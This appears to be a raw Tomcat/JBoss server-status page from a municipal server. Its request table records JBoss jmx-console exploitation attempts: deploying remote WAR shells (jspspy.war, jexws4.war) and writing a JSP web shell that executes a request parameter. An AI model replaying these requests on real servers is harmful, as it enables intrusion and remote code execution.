Free memory: 354.73 MB Total memory: 506.91 MB Max memory: 989.87 MB
Max threads: 150 Min spare threads: 25 Max spare threads: 75 Current thread count: 128 Current thread busy: 57
Max processing time: 1589063 ms Processing time: 4303837 s Request count: 7492174 Error count: 1214332 Bytes received: 181.73 MB Bytes sent: 83299.04 MB
Stage | Time | B Sent | B Recv | Client | VHost | Request |
---|---|---|---|---|---|---|
S | 8390211330 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /LcsUU/Brview/index.jsp?yh/dram-memory-slot-x2-615.html HTTP/1.1 |
S | 8547157033 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | GET /exploit/Brview/index.jsp?re/sex-si-chat-7.html HTTP/1.1 |
S | 8192007164 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /KwDLV/Brview/index.jsp?uwd/o1e.html HTTP/1.1 |
S | 8377876001 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | GET /August/Brview/index.jsp?f/ruby-sweeps-casino-2025-04-11.html HTTP/1.1 |
S | 8192007820 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /vuSwF/Brview/index.jsp?rb/2025-04-13-9389.html HTTP/1.1 |
S | 7919955935 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /siemweb/modulos/gerencial/impr_lista_alunos_turma_curs.jsp HTTP/1.1 |
S | 8235438283 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 8192006085 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /SLjpP/Brview/index.jsp?yyuqs/2025-04-13.html HTTP/1.1 |
S | 8377875408 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /August/Brview/index.jsp?zuqc/2025-04-11-6.html HTTP/1.1 |
S | 8237987486 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 8192010023 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /SLjpP/Brview/index.jsp?kamid/kamid.html HTTP/1.1 |
S | 8192006101 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /vuSwF/Brview/index.jsp?zzx/zzx.html HTTP/1.1 |
S | 8192009460 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | GET /August/Brview/index.jsp?dthn/dthn.html HTTP/1.1 |
S | 7918300903 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /siemweb/modulos/gerencial/impr_lista_alunos_turma_curs.jsp HTTP/1.1 |
S | 8168084070 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 8192006914 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | GET /bSaQV/Brview/index.jsp?wyk/poker-dice-928-928.html HTTP/1.1 |
S | 8192007773 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | GET /JC99/Brview/index.jsp?npmk/2025-04-13-72536.html HTTP/1.1 |
S | 8192009117 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | GET /zJMVX/Brview/index.jsp?ule/gt-bet-2025-04-13.html HTTP/1.1 |
S | 8192009101 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /LcsUU/Brview/index.jsp?ynsi/casino-in-biloxi-2025-04-13-49317.html HTTP/1.1 |
S | 8192006179 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /BDfmS/Brview/index.jsp?gnna/betting-on-zero-2025-04-12.html HTTP/1.1 |
S | 8192011335 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /bnXcI/Brview/index.jsp?cjvnc/modem-yang-ada-slot-antena-47-47.html HTTP/1.1 |
S | 8168549382 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 8235159408 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 7786531550 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /web-console/Invoker HTTP/1.1 |
S | 7919738794 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /siemweb/modulos/gerencial/impr_lista_alunos_turma_curs.jsp HTTP/1.1 |
S | 7788120128 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST //web-console/Invoker HTTP/1.1 |
S | 7788170425 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST //web-console/Invoker HTTP/1.1 |
S | 7785763519 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 7189201757 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /VFAs/Brview/index.jsp?edye/b-56269.html HTTP/1.1 |
S | 7385677372 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST //web-console/Invoker HTTP/1.1 |
S | 6800476235 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 6784883579 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 6785492095 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 766564196 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /jmx-console/HtmlAdaptor HTTP/1.1 |
S | 2372474646 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | POST /web-console/Invoker HTTP/1.0 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 2633564509 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice=MainDeployer&methodIndex=17&arg0=http://remote.com/jspspy.war HTTP/1.0 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 2955407530 ms | 0 KB | 0 KB | 192.168.14.2 | 186.225.110.220 | HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=http://www.joaomatosf.com/rnp/jexws4.war HTTP/1.1 |
S | 837080835 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /web-console/Invoker HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 764551884 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST //web-console/Invoker HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 3121384307 ms | 0 KB | 0 KB | 192.168.14.2 | 186.225.110.220 | HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=http://www.joaomatosf.com/rnp/jexws4.war HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 3067156538 ms | 0 KB | 0 KB | 192.168.14.2 | 186.225.110.220 | POST /web-console/Invoker HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 3067350006 ms | 0 KB | 0 KB | 192.168.14.2 | 186.225.110.220 | POST /web-console/Invoker HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
S | 766202337 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=6&arg0=../jmx-console.war/&arg1=test&arg2=.jsp&arg3=<%25out.println(%22Test%22);%25>&arg4=True HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
S | 767092618 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov .br | GET /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=http://remote.com/jspspy.war HTTP/1.1 |
S | 916507429 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | POST /web-console/Invoker HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
K | 7016 ms | ? | ? | 10.16.42.19 | ? | ? |
S | 768272884 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=http://www.joaomatosf.com/rnp/jexws4.war HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 767191946 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=6&arg0=../jmx-console.war/&arg1=yazi&arg2=.jsp&arg3=<%25Runtime.getRuntime().exec(request.getParameter(%22i%22));%25>&arg4=True HTTP/1.1 |
S | 2372403177 ms | 0 KB | 0 KB | 192.168.14.2 | sonicwall.maua.sp.gov.br | POST /web-console/Invoker HTTP/1.0 |
K | 719 ms | ? | ? | 10.16.42.19 | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
K | 2187 ms | ? | ? | 10.16.5.119 | ? | ? |
S | 2878208710 ms | 0 KB | 0 KB | 192.168.14.2 | 186.225.110.220 | HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=http://www.joaomatosf.com/rnp/jexws4.war HTTP/1.1 |
S | 767624727 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=6&arg0=../jmx-console.war/&arg1=yazi&arg2=.jsp&arg3=<%25Runtime.getRuntime().exec(request.getParameter(%22i%22));%25>&arg4=True HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
S | 0 ms | 8 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /status HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 2633482899 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov.br | GET /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice=MainDeployer&methodIndex=17&arg0=http://remote.com/jspspy.war HTTP/1.0 |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
R | ? | ? | ? | ? | ? | ? |
S | 766996259 ms | 0 KB | 0 KB | 192.168.14.2 | interno.maua.sp.gov .br | GET /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=http://remote.com/jspspy.war HTTP/1.1 |
R | ? | ? | ? | ? | ? | ? |
P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive
Max threads: 200 Min spare threads: 4 Max spare threads: 50 Current thread count: 4 Current thread busy: 1
Max processing time: 0 ms Processing time: 0 s Request count: 0 Error count: 0 Bytes received: 0.00 MB Bytes sent: 0.00 MB
Stage | Time | B Sent | B Recv | Client | VHost | Request |
---|
P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive
Max threads: 100 Min spare threads: 5 Max spare threads: 15 Current thread count: 0 Current thread busy: 0
Max processing time: 0 ms Processing time: 0 s Request count: 0 Error count: 0 Bytes received: 0.00 MB Bytes sent: 0.00 MB
Stage | Time | B Sent | B Recv | Client | VHost | Request |
---|
P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive